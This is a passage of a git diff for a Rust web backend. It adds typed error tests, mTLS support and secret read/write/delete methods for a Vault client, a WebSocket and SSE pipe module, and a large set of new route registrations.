+    fn status_code(&self) -> StatusCode {
+        self.status
+    }
+
+    fn error_response(&self) -> HttpResponse {
+        HttpResponse::build(self.status).json(&self.envelope)
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn internal_errors_are_retryable() {
+        let error = TypedErrorEnvelope::internal_error("temporary backend issue");
+        assert!(error.retryable);
+        assert_eq!(error.remediation_class, TypedRemediationClass::Internal);
+    }
+
+    #[test]
+    fn deployment_capability_errors_are_not_retryable() {
+        let error = TypedErrorEnvelope::deployment_capability_missing("compose logs unsupported");
+        assert!(!error.retryable);
+        assert_eq!(error.remediation_class, TypedRemediationClass::Capability);
+    }
+
+    #[test]
+    fn mcp_error_mapping_prefers_known_not_found_code() {
+        let error = TypedErrorEnvelope::from_mcp_error_message("Deployment not found");
+        assert_eq!(error.code, TypedErrorCode::DeploymentNotFound);
+    }
+
+    #[test]
+    fn mcp_error_mapping_preserves_pre_serialized_typed_errors() {
+        let envelope = TypedErrorEnvelope::invalid_request("confirm=true is required")
+            .with_context("tool", "apply_deployment_plan");
+        let error = TypedErrorEnvelope::from_mcp_error_message(&envelope.to_pretty_json());
+
+        assert_eq!(error, envelope);
+    }
+}
diff --git a/src/services/vault_service.rs b/src/services/vault_service.rs
index eb3b110a..eefd4351 100644
--- a/src/services/vault_service.rs
+++ b/src/services/vault_service.rs
@@ -8,6 +8,7 @@
 
 use anyhow::Result;
 use reqwest::Client;
+use reqwest::Identity;
 use serde::{Deserialize, Serialize};
 use std::collections::HashMap;
 use std::time::Duration;
@@ -95,8 +96,20 @@ impl VaultService {
     pub fn from_settings(
         settings: &crate::configuration::VaultSettings,
     ) -> Result<Self, VaultError> {
-        let http_client = Client::builder()
-            .timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS))
+        let mut builder = Client::builder().timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS));
+
+        if let (Some(cert), Some(key)) = (&settings.client_cert, &settings.client_key) {
+            match Identity::from_pkcs8_pem(cert.as_bytes(), key.as_bytes()) {
+                Ok(identity) => {
+                    builder = builder.identity(identity);
+                }
+                Err(e) => {
+                    tracing::warn!("Failed to load mTLS identity for Vault service: {}", e);
+                }
+            }
+        }
+
+        let http_client = builder
             .build()
             .map_err(|e| VaultError::Other(format!("Failed to create HTTP client: {}", e)))?;
 
@@ -120,6 +133,8 @@ impl VaultService {
     /// - `VAULT_ADDRESS`: Base URL (e.g., https://vault.try.direct)
     /// - `VAULT_TOKEN`: Authentication token
     /// - `VAULT_CONFIG_PATH_PREFIX`: KV mount/prefix (e.g., secret/debug)
+    /// - `VAULT_CLIENT_CERT`: Client certificate PEM for mTLS
+    /// - `VAULT_CLIENT_KEY`: Client key PEM for mTLS
     pub fn from_env() -> Result<Option<Self>, VaultError> {
         let base_url = std::env::var("VAULT_ADDRESS").ok();
         let token = std::env::var("VAULT_TOKEN").ok();
@@ -129,12 +144,28 @@ impl VaultService {
 
         match (base_url, token, prefix) {
             (Some(base), Some(tok), Some(pref)) => {
-                let http_client = Client::builder()
-                    .timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS))
-                    .build()
-                    .map_err(|e| {
-                        VaultError::Other(format!("Failed to create HTTP client: {}", e))
-                    })?;
+                let mut builder =
+                    Client::builder().timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS));
+
+                let client_cert = std::env::var("VAULT_CLIENT_CERT").ok();
+                let client_key = std::env::var("VAULT_CLIENT_KEY").ok();
+                if let (Some(cert), Some(key)) = (&client_cert, &client_key) {
+                    match Identity::from_pkcs8_pem(cert.as_bytes(), key.as_bytes()) {
+                        Ok(identity) => {
+                            builder = builder.identity(identity);
+                        }
+                        Err(e) => {
+                            tracing::warn!(
+                                "Failed to load mTLS identity for Vault service from env: {}",
+                                e
+                            );
+                        }
+                    }
+                }
+
+                let http_client = builder.build().map_err(|e| {
+                    VaultError::Other(format!("Failed to create HTTP client: {}", e))
+                })?;
 
                 tracing::debug!("Vault service initialized with base_url={}", base);
 
@@ -185,6 +216,184 @@ impl VaultService {
         )
     }
 
+    fn secret_url(&self, logical_path: &str) -> String {
+        format!(
+            "{}/v1/{}",
+            self.base_url.trim_end_matches('/'),
+            logical_path.trim_matches('/')
+        )
+    }
+
+    pub fn service_secret_path(
+        &self,
+        user_id: &str,
+        project_id: i32,
+        app_code: &str,
+        name: &str,
+    ) -> String {
+        format!(
+            "{}/users/{}/projects/{}/apps/{}/secrets/{}",
+            self.prefix.trim_matches('/'),
+            user_id,
+            project_id,
+            app_code,
+            name
+        )
+    }
+
+    pub fn server_secret_path(&self, user_id: &str, server_id: i32, name: &str) -> String {
+        format!(
+            "{}/users/{}/servers/{}/secrets/{}",
+            self.prefix.trim_matches('/'),
+            user_id,
+            server_id,
+            name
+        )
+    }
+
+    pub fn status_panel_npm_credentials_path(&self, server_id: i32) -> String {
+        format!(
+            "{}/hosts/{}/npm_credentials",
+            self.prefix.trim_matches('/'),
+            server_id
+        )
+    }
+
+    pub async fn fetch_secret_value(&self, logical_path: &str) -> Result<String, VaultError> {
+        let response = self
+            .http_client
+            .get(self.secret_url(logical_path))
+            .header("X-Vault-Token", &self.token)
+            .send()
+            .await
+            .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?;
+
+        if response.status() == 404 {
+            return Err(VaultError::NotFound(logical_path.to_string()));
+        }
+
+        if response.status() == 403 {
+            return Err(VaultError::Forbidden(logical_path.to_string()));
+        }
+
+        if !response.status().is_success() {
+            let status = response.status();
+            let body = response.text().await.unwrap_or_default();
+            return Err(VaultError::Other(format!(
+                "Vault returned {}: {}",
+                status, body
+            )));
+        }
+
+        let vault_resp: VaultKvResponse = response
+            .json()
+            .await
+            .map_err(|e| VaultError::Other(format!("Failed to parse Vault response: {}", e)))?;
+
+        vault_resp
+            .data
+            .data
+            .get("value")
+            .and_then(|v| v.as_str())
+            .map(|s| s.to_string())
+            .ok_or_else(|| VaultError::Other("value not found in Vault response".to_string()))
+    }
+
+    pub async fn store_secret_value(
+        &self,
+        logical_path: &str,
+        value: &str,
+    ) -> Result<(), VaultError> {
+        let payload = serde_json::json!({
+            "data": {
+                "value": value
+            }
+        });
+
+        let response = self
+            .http_client
+            .post(self.secret_url(logical_path))
+            .header("X-Vault-Token", &self.token)
+            .json(&payload)
+            .send()
+            .await
+            .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?;
+
+        if response.status() == 403 {
+            return Err(VaultError::Forbidden(logical_path.to_string()));
+        }
+
+        if !response.status().is_success() {
+            let status = response.status();
+            let body = response.text().await.unwrap_or_default();
+            return Err(VaultError::Other(format!(
+                "Vault store failed with {}: {}",
+                status, body
+            )));
+        }
+
+        Ok(())
+    }
+
+    pub async fn store_structured_secret_value(
+        &self,
+        logical_path: &str,
+        value: &serde_json::Value,
+    ) -> Result<(), VaultError> {
+        let payload = serde_json::json!({
+            "data": value
+        });
+
+        let response = self
+            .http_client
+            .post(self.secret_url(logical_path))
+            .header("X-Vault-Token", &self.token)
+            .json(&payload)
+            .send()
+            .await
+            .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?;
+
+        if !response.status().is_success() {
+            let status = response.status();
+            let body = response.text().await.unwrap_or_default();
+            return Err(VaultError::Other(format!(
+                "Failed to store secret at {}: {} - {}",
+                logical_path, status, body
+            )));
+        }
+
+        Ok(())
+    }
+
+    pub async fn delete_secret_value(&self, logical_path: &str) -> Result<(), VaultError> {
+        let response = self
+            .http_client
+            .delete(self.secret_url(logical_path))
+            .header("X-Vault-Token", &self.token)
+            .send()
+            .await
+            .map_err(|e| VaultError::ConnectionFailed(e.to_string()))?;
+
+        if response.status() == 404 || response.status() == 204 {
+            return Ok(());
+        }
+
+        if response.status() == 403 {
+            return Err(VaultError::Forbidden(logical_path.to_string()));
+        }
+
+        if !response.status().is_success() {
+            let status = response.status();
+            let body = response.text().await.unwrap_or_default();
+            return Err(VaultError::Other(format!(
+                "Vault delete failed with {}: {}",
+                status, body
+            )));
+        }
+
+        Ok(())
+    }
+
     /// Fetch app configuration from Vault
     pub async fn fetch_app_config(
         &self,
@@ -449,6 +658,8 @@ impl VaultService {
 #[cfg(test)]
 mod tests {
     use super::*;
+    use wiremock::matchers::{method, path};
+    use wiremock::{Mock, MockServer, ResponseTemplate};
 
     /// Helper to extract config path components without creating a full VaultService
     fn parse_app_name(app_name: &str) -> (String, String) {
@@ -589,4 +800,100 @@ mod tests {
         assert!(names.contains(&"telegraf.conf"));
         assert!(names.contains(&"nginx.conf"));
     }
+
+    fn test_vault_service(server: &MockServer) -> VaultService {
+        VaultService {
+            base_url: server.uri(),
+            token: "test-token".to_string(),
+            prefix: "agent".to_string(),
+            http_client: Client::builder()
+                .timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS))
+                .build()
+                .unwrap(),
+        }
+    }
+
+    #[test]
+    fn test_remote_secret_paths_use_kv_v1_layout() {
+        let service = VaultService {
+            base_url: "http://vault.example".to_string(),
+            token: "test-token".to_string(),
+            prefix: "agent".to_string(),
+            http_client: Client::builder().build().unwrap(),
+        };
+
+        assert_eq!(
+            service.service_secret_path("user-1", 42, "web", "S3_KEY"),
+            "agent/users/user-1/projects/42/apps/web/secrets/S3_KEY"
+        );
+        assert_eq!(
+            service.server_secret_path("user-1", 99, "HOST_TOKEN"),
+            "agent/users/user-1/servers/99/secrets/HOST_TOKEN"
+        );
+        assert_eq!(
+            service.status_panel_npm_credentials_path(99),
+            "agent/hosts/99/npm_credentials"
+        );
+        assert_eq!(
+            service.secret_url("agent/users/user-1/projects/42/apps/web/secrets/S3_KEY"),
+            "http://vault.example/v1/agent/users/user-1/projects/42/apps/web/secrets/S3_KEY"
+        );
+    }
+
+    #[tokio::test]
+    async fn test_remote_secret_kv_v1_crud_uses_flat_v1_endpoints() {
+        let server = MockServer::start().await;
+        let service = test_vault_service(&server);
+        let logical_path = "agent/users/user-1/projects/42/apps/web/secrets/S3_KEY";
+
+        Mock::given(method("POST"))
+            .and(path(
+                "/v1/agent/users/user-1/projects/42/apps/web/secrets/S3_KEY",
+            ))
+            .respond_with(ResponseTemplate::new(200))
+            .mount(&server)
+            .await;
+
+        Mock::given(method("GET"))
+            .and(path(
+                "/v1/agent/users/user-1/projects/42/apps/web/secrets/S3_KEY",
+            ))
+            .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({
+                "data": {
+                    "data": {
+                        "value": "supersecret"
+                    }
+                }
+            })))
+            .mount(&server)
+            .await;
+
+        Mock::given(method("DELETE"))
+            .and(path(
+                "/v1/agent/users/user-1/projects/42/apps/web/secrets/S3_KEY",
+            ))
+            .respond_with(ResponseTemplate::new(204))
+            .mount(&server)
+            .await;
+
+        service
+            .store_secret_value(logical_path, "supersecret")
+            .await
+            .unwrap();
+        let fetched = service.fetch_secret_value(logical_path).await.unwrap();
+        assert_eq!(fetched, "supersecret");
+        service.delete_secret_value(logical_path).await.unwrap();
+
+        let requests = server.received_requests().await.unwrap();
+        assert_eq!(requests.len(), 3);
+        assert_eq!(requests[0].method.to_string(), "POST");
+        assert_eq!(requests[1].method.to_string(), "GET");
+        assert_eq!(requests[2].method.to_string(), "DELETE");
+        assert!(requests
+            .iter()
+            .all(|request| !request.url.path().contains("/data/")));
+        assert!(requests
+            .iter()
+            .all(|request| !request.url.path().contains("/metadata/")));
+    }
 }
diff --git a/src/services/ws_pipe.rs b/src/services/ws_pipe.rs
new file mode 100644
index 00000000..54883b5e
--- /dev/null
+++ b/src/services/ws_pipe.rs
@@ -0,0 +1,172 @@
+use futures_util::{SinkExt, StreamExt};
+use serde_json::Value as JsonValue;
+use tokio_tungstenite::{connect_async, tungstenite::Message};
+
+/// Connect to a WebSocket endpoint and read the first message as source data.
+/// If `config.output` is set, returns it directly (simulation mode for BDD tests).
+pub async fn execute_ws_source(
+    config: &JsonValue,
+    _input: &JsonValue,
+) -> Result<JsonValue, String> {
+    if let Some(output) = config.get("output") {
+        return Ok(output.clone());
+    }
+
+    let url = config
+        .get("url")
+        .and_then(|v| v.as_str())
+        .ok_or_else(|| "ws_source requires a 'url' in config".to_string())?;
+
+    let (ws_stream, _) = connect_async(url)
+        .await
+        .map_err(|e| format!("ws_source connection failed: {e}"))?;
+
+    let (_write, mut read) = ws_stream.split();
+
+    match read.next().await {
+        Some(Ok(Message::Text(text))) => serde_json::from_str::<JsonValue>(&text)
+            .map_err(|e| format!("ws_source JSON parse error: {e}")),
+        Some(Ok(Message::Binary(bin))) => serde_json::from_slice::<JsonValue>(&bin)
+            .map_err(|e| format!("ws_source binary parse error: {e}")),
+        Some(Ok(other)) => Ok(serde_json::json!({ "raw": other.to_string() })),
+        Some(Err(e)) => Err(format!("ws_source read error: {e}")),
+        None => Err("ws_source: stream closed without data".to_string()),
+    }
+}
+
+/// Connect to a WebSocket endpoint and send the input data as a JSON message.
+/// If `config.output` is set, returns it directly (simulation mode).
+pub async fn execute_ws_target(config: &JsonValue, input: &JsonValue) -> Result<JsonValue, String> {
+    if let Some(output) = config.get("output") {
+        return Ok(output.clone());
+    }
+
+    let url = config
+        .get("url")
+        .and_then(|v| v.as_str())
+        .ok_or_else(|| "ws_target requires a 'url' in config".to_string())?;
+
+    let (ws_stream, _) = connect_async(url)
+        .await
+        .map_err(|e| format!("ws_target connection failed: {e}"))?;
+
+    let (mut write, _read) = ws_stream.split();
+
+    let payload =
+        serde_json::to_string(input).map_err(|e| format!("ws_target serialize error: {e}"))?;
+
+    write
+        .send(Message::Text(payload))
+        .await
+        .map_err(|e| format!("ws_target send error: {e}"))?;
+
+    Ok(serde_json::json!({
+        "ws_delivered": true,
+        "url": url,
+        "data": input,
+    }))
+}
+
+/// Connect to an SSE (Server-Sent Events) HTTP endpoint and read the first data event.
+/// If `config.output` is set, returns it directly (simulation mode).
+pub async fn execute_http_stream_source(
+    config: &JsonValue,
+    _input: &JsonValue,
+) -> Result<JsonValue, String> {
+    if let Some(output) = config.get("output") {
+        return Ok(output.clone());
+    }
+
+    let url = config
+        .get("url")
+        .and_then(|v| v.as_str())
+        .ok_or_else(|| "http_stream_source requires a 'url' in config".to_string())?;
+
+    let event_filter = config
+        .get("event_filter")
+        .and_then(|v| v.as_str())
+        .unwrap_or("message");
+
+    let response = reqwest::get(url)
+        .await
+        .map_err(|e| format!("http_stream_source request failed: {e}"))?;
+
+    let mut stream = response.bytes_stream();
+    let mut buffer = String::new();
+
+    while let Some(chunk) = stream.next().await {
+        let chunk = chunk.map_err(|e| format!("http_stream_source read error: {e}"))?;
+        buffer.push_str(&String::from_utf8_lossy(&chunk));
+
+        // Parse SSE: look for "event: <type>\ndata: <json>\n\n"
+        if let Some(data) = parse_sse_event(&buffer, event_filter) {
+            return serde_json::from_str::<JsonValue>(&data)
+                .or_else(|_| Ok(serde_json::json!({ "raw": data })));
+        }
+    }
+
+    Err("http_stream_source: stream ended without matching event".to_string())
+}
+
+fn parse_sse_event(buffer: &str, event_filter: &str) -> Option<String> {
+    for block in buffer.split("\n\n") {
+        let mut event_type = "message";
+        let mut data_lines = Vec::new();
+
+        for line in block.lines() {
+            if let Some(rest) = line.strip_prefix("event:") {
+                event_type = rest.trim();
+            } else if let Some(rest) = line.strip_prefix("data:") {
+                data_lines.push(rest.trim());
+            }
+        }
+
+        if event_type == event_filter && !data_lines.is_empty() {
+            return Some(data_lines.join("\n"));
+        }
+    }
+    None
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_parse_sse_event_basic() {
+        let buf = "event: data_update\ndata: {\"key\":\"val\"}\n\n";
+        let result = parse_sse_event(buf, "data_update");
+        assert_eq!(result, Some("{\"key\":\"val\"}".to_string()));
+    }
+
+    #[test]
+    fn test_parse_sse_event_no_match() {
+        let buf = "event: other\ndata: {}\n\n";
+        assert!(parse_sse_event(buf, "data_update").is_none());
+    }
+
+    #[tokio::test]
+    async fn test_ws_source_simulation() {
+        let config = serde_json::json!({"output": {"sensor": "temp", "value": 42}});
+        let input = serde_json::json!({});
+        let result = execute_ws_source(&config, &input).await.unwrap();
+        assert_eq!(result["sensor"], "temp");
+        assert_eq!(result["value"], 42);
+    }
+
+    #[tokio::test]
+    async fn test_ws_target_simulation() {
+        let config = serde_json::json!({"output": {"delivered": true}});
+        let input = serde_json::json!({"data": 1});
+        let result = execute_ws_target(&config, &input).await.unwrap();
+        assert!(result["delivered"].as_bool().unwrap());
+    }
+
+    #[tokio::test]
+    async fn test_http_stream_source_simulation() {
+        let config = serde_json::json!({"output": {"event": "tick"}});
+        let input = serde_json::json!({});
+        let result = execute_http_stream_source(&config, &input).await.unwrap();
+        assert_eq!(result["event"], "tick");
+    }
+}
diff --git a/src/startup.rs b/src/startup.rs
index 1feec0b2..b044bbb3 100644
--- a/src/startup.rs
+++ b/src/startup.rs
@@ -6,6 +6,7 @@ use crate::helpers::AgentPgPool;
 use crate::mcp;
 use crate::middleware;
 use crate::routes;
+use crate::services::InMemoryHandoffStore;
 use actix_cors::Cors;
 use actix_web::middleware::Compress;
 use actix_web::{dev::Server, error, http, web, App, HttpServer};
@@ -15,6 +16,47 @@ use std::sync::Arc;
 use std::time::Duration;
 use tracing_actix_web::TracingLogger;
 
+fn project_scope(path: &str) -> actix_web::Scope {
+    web::scope(path)
+        .service(crate::routes::project::deploy::item)
+        .service(crate::routes::project::deploy::saved_item)
+        .service(crate::routes::project::deploy::rollback)
+        .service(crate::routes::project::member::add)
+        .service(crate::routes::project::member::list)
+        .service(crate::routes::project::member::delete)
+        .service(crate::routes::project::compose::add)
+        .service(crate::routes::project::get::list)
+        .service(crate::routes::project::get::shared_list)
+        .service(crate::routes::project::get::item)
+        .service(crate::routes::project::add::item)
+        .service(crate::routes::project::update::item)
+        .service(crate::routes::project::delete::item)
+        .service(crate::routes::project::app::list_apps)
+        .service(crate::routes::project::app::create_app)
+        .service(crate::routes::project::app::get_app)
+        .service(crate::routes::project::app::delete_app)
+        .service(crate::routes::project::app::get_app_config)
+        .service(crate::routes::project::app::get_env_vars)
+        .service(crate::routes::project::app::update_env_vars)
+        .service(crate::routes::project::app::delete_env_var)
+        .service(crate::routes::project::secret::list)
+        .service(crate::routes::project::secret::item)
+        .service(crate::routes::project::secret::upsert)
+        .service(crate::routes::project::secret::delete)
+        .service(crate::routes::project::app::update_ports)
+        .service(crate::routes::project::app::update_domain)
+        .service(crate::routes::project::discover::discover_containers)
+        .service(crate::routes::project::discover::import_containers)
+}
+
+fn build_oauth_http_client(settings: &Settings) -> Result<reqwest::Client, reqwest::Error> {
+    reqwest::Client::builder()
+        .pool_idle_timeout(Duration::from_secs(90))
+        .timeout(Duration::from_secs(settings.auth_request_timeout_secs))
+        .connect_timeout(Duration::from_secs(settings.auth_connect_timeout_secs))
+        .build()
+}
+
 pub async fn run(
     listener: TcpListener,
     api_pool: Pool<Postgres>,
@@ -24,6 +66,9 @@ pub async fn run(
     let settings_arc = Arc::new(settings.clone());
     let api_pool_arc = Arc::new(api_pool.clone());
 
+    // Initialize Prometheus metrics (registers all counters/gauges/histograms)
+    crate::metrics::init();
+
     let settings = web::Data::new(settings);
     let api_pool = web::Data::new(api_pool);
     let agent_pool = web::Data::new(agent_pool);
@@ -34,10 +79,7 @@ pub async fn run(
     let vault_client = helpers::VaultClient::new(&settings.vault);
     let vault_client = web::Data::new(vault_client);
 
-    let oauth_http_client = reqwest::Client::builder()
-        .pool_idle_timeout(Duration::from_secs(90))
-        .build()
-        .map_err(|err| std::io::Error::new(std::io::ErrorKind::Other, err))?;
+    let oauth_http_client = build_oauth_http_client(&settings).map_err(std::io::Error::other)?;
     let oauth_http_client = web::Data::new(oauth_http_client);
 
     let oauth_cache = web::Data::new(middleware::authentication::OAuthCache::new(
@@ -57,14 +99,26 @@ pub async fn run(
 
     let health_metrics = Arc::new(HealthMetrics::new(1000));
     let health_metrics = web::Data::new(health_metrics);
+    let handoff_store = web::Data::new(Arc::new(InMemoryHandoffStore::new()));
 
     // Initialize external service connectors (plugin pattern)
     // Connector handles category sync on startup
     let user_service_connector =
         connectors::init_user_service(&settings.connectors, api_pool.clone());
     let dockerhub_connector = connectors::init_dockerhub(&settings.connectors).await;
-    let install_service_connector: web::Data<Arc<dyn connectors::InstallServiceConnector>> =
-        web::Data::new(Arc::new(connectors::InstallServiceClient));
+    let install_service_connector = connectors::init_install_service(&settings.connectors);
+
+    // Start the per-install billing sweeper. No-ops when the feature flag
+    // is off; when on, ticks every 60s to void expired-but-uncaptured
+    // authorizations so stacker's ledger reconciles with user_service.
+    crate::services::install_authorization_sweeper::spawn(
+        api_pool.get_ref().clone(),
+        user_service_connector.get_ref().clone(),
+        settings.per_install_billing_enabled,
+    );
+    let payout_provider = crate::services::init_payout_provider(&settings.payouts)
+        .map_err(|err| std::io::Error::new(std::io::ErrorKind::InvalidInput, err.to_string()))?;
+    let payout_provider = web::Data::new(payout_provider);
 
     let authorization =
         middleware::authorization::try_new(settings.database.connection_string()).await?;
@@ -101,15 +155,22 @@ pub async fn run(
             .wrap(authorization.clone())
             .wrap(middleware::authentication::Manager::new())
             .wrap(Compress::default())
+            .wrap(middleware::prometheus::PrometheusMetrics)
             .app_data(health_checker.clone())
             .app_data(health_metrics.clone())
+            .app_data(handoff_store.clone())
             .app_data(oauth_http_client.clone())
             .app_data(oauth_cache.clone())
+            .app_data(payout_provider.clone())
             .service(
                 web::scope("/health_check")
                     .service(routes::health_check)
                     .service(routes::health_metrics),
             )
+            .service(
+                web::scope("/metrics")
+                    .service(routes::prometheus_metrics),
+            )
             .service(
                 web::scope("/client")
                     .service(routes::client::add_handler)
@@ -130,30 +191,8 @@ pub async fn run(
                     .service(routes::rating::user_delete_handler)
                     .service(routes::rating::user_edit_handler),
             )
-            .service(
-                web::scope("/project")
-                    .service(crate::routes::project::deploy::item)
-                    .service(crate::routes::project::deploy::saved_item)
-                    .service(crate::routes::project::compose::add)
-                    .service(crate::routes::project::get::list)
-                    .service(crate::routes::project::get::item)
-                    .service(crate::routes::project::add::item)
-                    .service(crate::routes::project::update::item)
-                    .service(crate::routes::project::delete::item)
-                    // App configuration routes
-                    .service(crate::routes::project::app::list_apps)
-                    .service(crate::routes::project::app::create_app)
-                    .service(crate::routes::project::app::get_app)
-                    .service(crate::routes::project::app::get_app_config)
-                    .service(crate::routes::project::app::get_env_vars)
-                    .service(crate::routes::project::app::update_env_vars)
-                    .service(crate::routes::project::app::delete_env_var)
-                    .service(crate::routes::project::app::update_ports)
-                    .service(crate::routes::project::app::update_domain)
-                    // Container discovery and import routes
-                    .service(crate::routes::project::discover::discover_containers)
-                    .service(crate::routes::project::discover::import_containers),
-            )
+            .service(project_scope("/project"))
+            .service(project_scope("/api/v1/project"))
             .service(
                 web::scope("/dockerhub")
                     .service(crate::routes::dockerhub::search_namespaces)
@@ -190,17 +229,59 @@ pub async fn run(
             )
             .service(
                 web::scope("/api")
+                    .service(
+                        web::scope("/agreement")
+                            .service(crate::routes::agreement::user_add_handler)
+                            .service(crate::routes::agreement::get_handler)
+                            .service(crate::routes::agreement::accept_handler),
+                    )
                     .service(crate::routes::marketplace::categories::list_handler)
                     .service(
-                        web::scope("/templates")
-                            .service(crate::routes::marketplace::public::list_handler)
-                            .service(crate::routes::marketplace::creator::mine_handler)
-                            .service(crate::routes::marketplace::creator::my_reviews_handler)
-                            .service(crate::routes::marketplace::creator::create_handler)
-                            .service(crate::routes::marketplace::creator::update_handler)
-                            .service(crate::routes::marketplace::creator::submit_handler)
-                            .service(crate::routes::marketplace::creator::resubmit_handler)
-                            .service(crate::routes::marketplace::public::detail_handler),
+                        web::scope("/vendors")
+                            .service(crate::routes::marketplace::public::vendor_detail_handler),
+                    )
+                             .service(
+                                  web::scope("/templates")
+                                      .service(crate::routes::marketplace::public::list_handler)
+                                      .service(crate::routes::marketplace::creator::mine_handler)
+                                      .service(crate::routes::marketplace::creator::analytics_handler)
+                                      .service(
+                                          crate::routes::marketplace::creator::self_vendor_profile_handler,
+                                      )
+                                      .service(
+                                          crate::routes::marketplace::creator::update_vendor_public_profile_handler,
+                                      )
+                                     .service(
+                                         crate::routes::marketplace::creator::create_onboarding_link_handler,
+                                     )
+                                     .service(
+                                         crate::routes::marketplace::creator::complete_onboarding_handler,
+                                     )
+                                     .service(crate::routes::marketplace::creator::my_reviews_handler)
+                                    .service(
+                                        crate::routes::marketplace::creator::vendor_profile_status_handler,
+                                    )
+                                    .service(crate::routes::marketplace::template_rating::summary_handler)
+                                    .service(crate::routes::marketplace::template_rating::my_rating_handler)
+                                    .service(crate::routes::marketplace::template_rating::upsert_handler)
+                                    .service(crate::routes::marketplace::template_rating::delete_handler)
+                                     .service(crate::routes::marketplace::creator::create_handler)
+                                      .service(crate::routes::marketplace::creator::update_handler)
+                                      .service(
+                                          crate::routes::marketplace::creator::presign_asset_upload_handler,
+                                      )
+                                      .service(
+                                          crate::routes::marketplace::creator::finalize_asset_upload_handler,
+                                      )
+                                      .service(
+                                          crate::routes::marketplace::creator::presign_asset_download_handler,
+                                      )
+                                      .service(crate::routes::marketplace::creator::submit_handler)
+                                      .service(crate::routes::marketplace::creator::resubmit_handler)
+                                     .service(crate::routes::marketplace::public::detail_handler)
+                                     .service(crate::routes::marketplace::install::install_handler)
+                                     .service(crate::routes::marketplace::public::increment_view_count_handler)
+                                     .service(crate::routes::marketplace::public::increment_deploy_count_handler),
                     )
                     .service(
                         web::scope("/v1/agent")
@@ -208,6 +289,7 @@ pub async fn run(
                             .service(routes::agent::enqueue_handler)
                             .service(routes::agent::wait_handler)
                             .service(routes::agent::report_handler)
+                            .service(routes::agent::notifications_handler)
                             .service(routes::agent::snapshot_handler)
                             .service(routes::agent::project_snapshot_handler)
                             .service(routes::agent::login_handler)
@@ -215,15 +297,45 @@ pub async fn run(
                             .service(routes::agent::agent_audit_ingest_handler)
                             .service(routes::agent::agent_audit_query_handler),
                     )
+                    .service(
+                        web::scope("/v1/templates")
+                            .service(crate::routes::marketplace::creator::presign_asset_upload_handler)
+                            .service(crate::routes::marketplace::creator::finalize_asset_upload_handler)
+                            .service(
+                                crate::routes::marketplace::creator::presign_asset_download_handler,
+                            )
+                           .service(crate::routes::marketplace::public::detail_handler)
+                           .service(crate::routes::marketplace::install::install_handler),
+                    )
+                    .service(
+                        web::scope("/v1/marketplace")
+                            .service(crate::routes::marketplace::search::applications_search_handler)
+                            .service(crate::routes::marketplace::public::install_script_handler)
+                            .service(crate::routes::marketplace::public::download_stack_handler)
+                            .service(crate::routes::marketplace::public::deploy_complete_handler)
+                            .service(crate::routes::marketplace::payout_webhook::webhook_handler)
+                            .service(web::scope("/agents").service(
+                                crate::routes::marketplace::agent::register_marketplace_agent_handler,
+                            )),
+                    )
                     .service(
                         web::scope("/v1/deployments")
                             .service(routes::deployment::capabilities_handler)
+                            .service(routes::deployment::events_handler)
                             .service(routes::deployment::list_handler)
+                            .service(routes::deployment::plan_handler)
+                            .service(routes::deployment::state_handler)
                             .service(routes::deployment::status_by_hash_handler)
                             .service(routes::deployment::status_handler)
                             .service(routes::deployment::status_by_project_handler)
                             .service(routes::deployment::force_complete_handler),
                     )
+                    .service(
+                        web::scope("/v1/handoff")
+                            .service(routes::handoff::mint_handler)
+                            .service(routes::handoff::mint_account_handler)
+                            .service(routes::handoff::resolve_handler),
+                    )
                     .service(
                         web::scope("/v1/commands")
                             .service(routes::command::create_handler)
@@ -236,15 +348,43 @@ pub async fn run(
                             .service(routes::pipe::create_template_handler)
                             .service(routes::pipe::create_instance_handler)
                             .service(routes::pipe::list_templates_handler)
+                            .service(routes::pipe::list_local_instances_handler)
                             .service(routes::pipe::list_instances_handler)
                             .service(routes::pipe::get_template_handler)
                             .service(routes::pipe::get_instance_handler)
                             .service(routes::pipe::delete_template_handler)
                             .service(routes::pipe::delete_instance_handler)
                             .service(routes::pipe::update_instance_status_handler)
+                            .service(routes::pipe::deploy_pipe_handler)
                             .service(routes::pipe::list_executions_handler)
                             .service(routes::pipe::get_execution_handler)
-                            .service(routes::pipe::replay_execution_handler),
+                            .service(routes::pipe::replay_execution_handler)
+                            .service(routes::pipe::dag::add_step_handler)
+                            .service(routes::pipe::dag::list_steps_handler)
+                            .service(routes::pipe::dag::get_step_handler)
+                            .service(routes::pipe::dag::update_step_handler)
+                            .service(routes::pipe::dag::delete_step_handler)
+                            .service(routes::pipe::dag::add_edge_handler)
+                            .service(routes::pipe::dag::list_edges_handler)
+                            .service(routes::pipe::dag::delete_edge_handler)
+                            .service(routes::pipe::dag::validate_dag_handler)
+                            .service(routes::pipe::dag::execute_dag_handler)
+                            .service(routes::pipe::dag::list_step_executions_handler)
+                            // Streaming: SSE execution stream
+                            .service(routes::pipe::stream::execution_stream_handler)
+                            // Field matching
+                            .service(routes::pipe::field_match_handler)
+                            // Resilience: DLQ + Circuit Breaker
+                            .service(routes::pipe::resilience::list_dlq_handler)
+                            .service(routes::pipe::resilience::create_dlq_handler)
+                            .service(routes::pipe::resilience::get_dlq_handler)
+                            .service(routes::pipe::resilience::retry_dlq_handler)
+                            .service(routes::pipe::resilience::discard_dlq_handler)
+                            .service(routes::pipe::resilience::get_circuit_breaker_handler)
+                            .service(routes::pipe::resilience::update_circuit_breaker_handler)
+                            .service(routes::pipe::resilience::record_failure_handler)
+                            .service(routes::pipe::resilience::record_success_handler)
+                            .service(routes::pipe::resilience::reset_circuit_breaker_handler),
                     )
                     .service(
                         web::scope("/admin")
@@ -253,27 +393,27 @@ pub async fn run(
                                     .service(
                                         crate::routes::marketplace::admin::list_submitted_handler,
                                     )
-                                    .service(crate::routes::marketplace::admin::detail_handler)
-                                    .service(crate::routes::marketplace::admin::approve_handler)
-                                    .service(crate::routes::marketplace::admin::reject_handler)
-                                    .service(crate::routes::marketplace::admin::unapprove_handler)
